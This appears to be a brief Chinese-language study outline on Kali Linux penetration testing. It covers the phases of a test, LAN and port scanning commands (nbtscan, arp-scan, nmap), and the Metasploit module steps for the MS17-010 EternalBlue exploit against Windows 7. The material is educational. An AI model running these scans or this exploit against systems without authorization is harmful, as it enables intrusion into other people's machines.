Kali Linux 渗透测试原理与实践

Kali Linux 渗透测试原理与实践

渗透测试：模拟黑客行为对目标系统发起攻击，根据攻击结果得到安全评估报告

渗透前期：（网络踩点，网络扫描，网络查点）

渗透中期：（利用漏洞信息进行渗透攻击，获取权限）

渗透后期：（后渗透维持攻击，文件拷贝，木马植入）

信息收集(  扫描 )

arp-scan/nbtscan:局域网扫描（发送一个探测包，检测启动了什么服务）

nmap端口扫描  电脑漏洞也可以扫描

openvas/nessus 漏洞扫描

安装kali linux 百度有具体步骤

打开执行 nbtscan +网段 可以看到目前网段内的主机

执行 arp-scan --interface=eth0 +网段如（172.16.70.0/24）网段扫描

nmap

Exploit/POC:渗透测试代码，根据存在的漏洞，编写攻击代码。

MS17-010漏洞  “永恒之蓝”漏洞利用

Kali Linux-->windows7  (常规流程）

msf-->search ms17_010

msf-->use exploit/windows/smb/ms17_010_eternalblue

msf-->exploit

show options